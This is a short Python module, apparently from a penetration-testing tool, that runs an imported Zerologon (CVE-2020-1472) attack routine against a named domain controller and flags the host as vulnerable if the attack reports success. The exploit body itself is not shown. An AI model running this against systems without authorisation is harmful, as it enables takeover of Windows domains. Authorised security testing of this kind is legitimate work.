from . .cve_2020_1472 import perform_attack
import socket
import contextlib
import io
from termcolor import colored

class Exploits():

    def __init__(self, servername, netbiosname):
        self.servername = servername
        self.netbiosname = str(netbiosname)
        self.vulnerable = []

        # Attempt Zerologon
        cve_2020_1472 = self.cve_2020_1472()
        if cve_2020_1472:
            self.vulnerable.append(cve_2020_1472)


    @contextlib.contextmanager
    def suppressOutput(self):
        out = io.StringIO()
        with contextlib.redirect_stdout(out) as stdout:
            yield out
    

    def cve_2020_1472(self):
        print('[ ' + colored('OK', 'green') + ' ] Attempting CVE-2020-1472 - this may take time...')
        ip = socket.gethostbyname(self.servername)
        with self.suppressOutput() as out:
            perform_attack('\\\\' + self.netbiosname, ip, self.netbiosname)
        if "Success! DC can be fully compromised by a Zerologon attack" in out.getvalue():
            return "cve-2020-1472"
        else:
            # No success 
            return None